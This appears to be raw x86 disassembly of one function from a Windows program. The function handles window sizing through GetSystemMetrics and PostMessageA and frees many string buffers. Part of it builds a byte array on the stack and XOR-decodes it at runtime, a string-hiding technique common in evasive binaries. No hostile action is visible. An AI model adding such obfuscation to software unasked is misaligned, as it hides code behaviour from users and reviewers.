test eax, eax
je 0x41fe04
mov ecx, 0x483a54
call fcn.00401da0
test eax, eax
je 0x41fe04
mov ecx, 0x4832cc
call fcn.00401da0
test eax, eax
jne 0x41fdac
mov dword [esi + 0x26c], ebx
lea ebp, [eax + 0xf]
lea esi, [eax + 0x10]
jmp 0x4201aa
mov ebp, dword [esp + 0x14]
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
mov dword [ebp + 0x26c], 0x34
call edi
lea eax, [eax + eax*2]
cdq
and edx, 3
add eax, edx
mov esi, eax
push 1
sar esi, 2
call edi
mov ecx, eax
add ecx, ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
push 4
shr eax, 0x1f
add eax, edx
push eax
push esi
push 0xf
push 0xd
push ebx
mov ecx, ebp
call fcn.0043a461
mov ebp, 0xf
lea esi, [ebp + 1]
jmp 0x4201aa
mov ebp, 0xf
mov dword [esp + 0x70], ebp
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea eax, [esp + 0x2f8]
push eax
sub esp, 0x1c
mov byte [esp + 0x37c], 0x25
mov ecx, esp
mov dword [esp + 0x320], esp
push ebx
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push 0x483234
lea esi, [esp + 0x80]
lea edi, [esp + 0x40]
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, esi
mov edx, edi
call fcn.0041e410
mov ecx, 0x483134
lea edi, [esp + 0x100]
cmp dword [esp + 0x6c], ebx
jbe 0x41feb7
call fcn.00401da0
test eax, eax
jne 0x41fe96
cmp dword [esp + 0x70], 0x10
mov eax, dword [esp + 0x5c]
jae 0x41fe83
lea eax, [esp + 0x5c]
push eax
call fcn.0045ea44
mov ecx, dword [esp + 0x18]
add esp, 4
mov dword [ecx + 0x26c], eax
mov ecx, 0x483a54
lea edi, [esp + 0x100]
call fcn.00401da0
test eax, eax
jne 0x41feed
mov edx, dword [esp + 0x14]
mov dword [edx + 0x26c], ebx
jmp 0x41feed
call fcn.00401da0
test eax, eax
jne 0x41fece
mov eax, dword [esp + 0x14]
mov dword [eax + 0x26c], 0x34
mov ecx, 0x483a54
lea edi, [esp + 0x100]
call fcn.00401da0
test eax, eax
jne 0x41feed
mov ecx, dword [esp + 0x14]
mov dword [ecx + 0x26c], ebx
cmp dword [esp + 0x18], ebx
jl 0x41ff13
cmp dword [esp + 0x1c], ebx
jl 0x41ff13
cmp dword [esp + 0x2f8], ebx
jge 0x42013c
cmp dword [esp + 0x2fc], ebx
jge 0x42013c
mov al, 0xb7
mov byte [esp + 0x32a], al
mov byte [esp + 0x32d], al
mov byte [esp + 0x330], al
mov byte [esp + 0x331], al
mov byte [esp + 0x334], al
mov byte [esp + 0x335], al
mov al, 0xa8
mov cl, 0xb5
mov dl, 0xab
mov byte [esp + 0x33c], al
mov byte [esp + 0x340], al
mov al, 0xb2
mov byte [esp + 0x341], al
mov byte [esp + 0x347], al
mov byte [esp + 0x321], 0xd5
mov byte [esp + 0x322], 0xbd
mov byte [esp + 0x323], 0xb6
mov byte [esp + 0x324], dl
mov byte [esp + 0x325], 0xd7
mov byte [esp + 0x326], 0xc8
mov byte [esp + 0x327], 0xd4
mov byte [esp + 0x328], 0xbd
mov byte [esp + 0x329], cl
mov byte [esp + 0x32b], 0xfb
mov byte [esp + 0x32c], cl
mov byte [esp + 0x32e], 0xaa
mov byte [esp + 0x32f], cl
mov byte [esp + 0x332], 0xfb
mov byte [esp + 0x333], cl
mov byte [esp + 0x336], dl
mov byte [esp + 0x337], 0xc4
mov byte [esp + 0x338], 0xd4
mov byte [esp + 0x339], 0xdd
mov byte [esp + 0x33a], 0xbd
mov byte [esp + 0x33b], cl
mov byte [esp + 0x33d], 0xb4
mov byte [esp + 0x33e], 0xaa
mov byte [esp + 0x33f], 0xb3
mov byte [esp + 0x342], dl
mov byte [esp + 0x343], 0xcf
mov byte [esp + 0x344], 0xc0
mov byte [esp + 0x345], 0xd3
mov byte [esp + 0x346], 0xbd
mov byte [esp + 0x348], cl
mov byte [esp + 0x349], dl
mov byte [esp + 0x34a], 0x87
lea eax, [esp + 0x320]
mov byte [esp + 0x320], 0x57
inc eax
xor byte [eax], 0x87
jne 0x420068
lea eax, [esp + 0x320]
mov dword [esp + 0x8c], ebp
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x420090
sub eax, esi
push eax
lea edx, [esp + 0x324]
push edx
lea ecx, [esp + 0x7c]
call fcn.00401bf0
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x378], 0x26
mov dword [esp + 0x31c], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x98]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00401910
mov ecx, dword [esp + 0x30]
call fcn.00431670
lea ecx, [esp + 0x2f8]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x320], esp
push ebx
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push 0x483234
lea esi, [esp + 0x80]
lea edi, [esp + 0x40]
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, esi
mov edx, edi
call fcn.0041e410
mov byte [esp + 0x35c], 0x25
cmp dword [esp + 0x8c], 0x10
jb 0x42013c
mov edx, dword [esp + 0x78]
push edx
call fcn.004396bc
add esp, 4
mov eax, dword [esp + 0x2f8]
cmp eax, ebx
jne 0x42016b
cmp dword [esp + 0x2fc], ebx
jne 0x42016b
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x20]
push ebx
push 0xf030
push 0x112
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x42018a
mov edx, dword [esp + 0x2fc]
mov ecx, dword [esp + 0x18]
push 4
push edx
push eax
mov eax, dword [esp + 0x28]
push eax
push ecx
mov ecx, dword [esp + 0x28]
push ebx
call fcn.0043a461
mov esi, 0x10
mov byte [esp + 0x35c], 0x16
cmp dword [esp + 0x70], esi
jb 0x4201aa
mov edx, dword [esp + 0x5c]
push edx
call fcn.004396bc
add esp, 4
mov ecx, 0x483134
lea edi, [esp + 0x250]
call fcn.00401da0
test eax, eax
jne 0x4201e4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x31c], esp
push ebx
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push 0x483234
mov byte [ecx + 4], bl
call fcn.00401bf0
call fcn.00426850
cmp dword [esp + 0x1dc], esi
jb 0x4201fd
mov eax, dword [esp + 0x1c8]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x1dc], ebp
mov dword [esp + 0x1d8], ebx
mov byte [esp + 0x1c8], bl
cmp dword [esp + 0x1f8], esi
jb 0x42022b
mov ecx, dword [esp + 0x1e4]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x1f8], ebp
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
cmp dword [esp + 0x230], esi
jb 0x420259
mov edx, dword [esp + 0x21c]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x230], ebp
mov dword [esp + 0x22c], ebx
mov byte [esp + 0x21c], bl
cmp dword [esp + 0x16c], esi
jb 0x420287
mov eax, dword [esp + 0x158]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x16c], ebp
mov dword [esp + 0x168], ebx
mov byte [esp + 0x158], bl
cmp dword [esp + 0x214], esi
jb 0x4202b5
mov ecx, dword [esp + 0x200]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
cmp dword [esp + 0x1c0], esi
jb 0x4202e3
mov edx, dword [esp + 0x1ac]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x1c0], ebp
mov dword [esp + 0x1bc], ebx
mov byte [esp + 0x1ac], bl
cmp dword [esp + 0x1a4], esi
jb 0x420311
mov eax, dword [esp + 0x190]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x1a4], ebp
mov dword [esp + 0x1a0], ebx
mov byte [esp + 0x190], bl
cmp dword [esp + 0xc4], esi
jb 0x42033f
mov ecx, dword [esp + 0xb0]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0xc4], ebp
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp dword [esp + 0x134], esi
jb 0x42036d
mov edx, dword [esp + 0x120]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x134], ebp
mov dword [esp + 0x130], ebx
mov byte [esp + 0x120], bl
cmp dword [esp + 0xfc], esi
jb 0x42039b
mov eax, dword [esp + 0xe8]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0xfc], ebp
mov dword [esp + 0xf8], ebx
mov byte [esp + 0xe8], bl
cmp dword [esp + 0x150], esi
jb 0x4203c9
mov ecx, dword [esp + 0x13c]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x150], ebp
mov dword [esp + 0x14c], ebx
mov byte [esp + 0x13c], bl
cmp dword [esp + 0x2a0], esi
jb 0x4203f7
mov edx, dword [esp + 0x28c]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x2a0], ebp
mov dword [esp + 0x29c], ebx
mov byte [esp + 0x28c], bl
cmp dword [esp + 0x188], esi
jb 0x420425
mov eax, dword [esp + 0x174]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x188], ebp
mov dword [esp + 0x184], ebx
mov byte [esp + 0x174], bl
cmp dword [esp + 0x118], esi
jb 0x420453
mov ecx, dword [esp + 0x104]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x118], ebp
mov dword [esp + 0x114], ebx
mov byte [esp + 0x104], bl
cmp dword [esp + 0x2d8], esi
jb 0x420481
mov edx, dword [esp + 0x2c4]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x2d8], ebp
mov dword [esp + 0x2d4], ebx
mov byte [esp + 0x2c4], bl
cmp dword [esp + 0x268], esi
jb 0x4204af
mov eax, dword [esp + 0x254]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x268], ebp
mov dword [esp + 0x264], ebx
mov byte [esp + 0x254], bl
cmp dword [esp + 0x284], esi
jb 0x4204dd
mov ecx, dword [esp + 0x270]
push ecx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x284], ebp
mov dword [esp + 0x280], ebx
mov byte [esp + 0x270], bl
cmp dword [esp + 0x2f4], esi
jb 0x42050b
mov edx, dword [esp + 0x2e0]
push edx
call fcn.004396bc
add esp, 4
mov dword [esp + 0x2f4], ebp
mov dword [esp + 0x2f0], ebx
mov byte [esp + 0x2e0], bl
cmp dword [esp + 0x38], esi
jb 0x420533
mov eax, dword [esp + 0x24]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
cmp dword [esp + 0x2bc], esi
jb 0x420558
mov ecx, dword [esp + 0x2a8]
push ecx
call fcn.004396bc
add esp, 4
mov ecx, dword [esp + 0x354]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x338]
xor ecx, esp
call fcn.0045e1a6
add esp, 0x34c
ret 4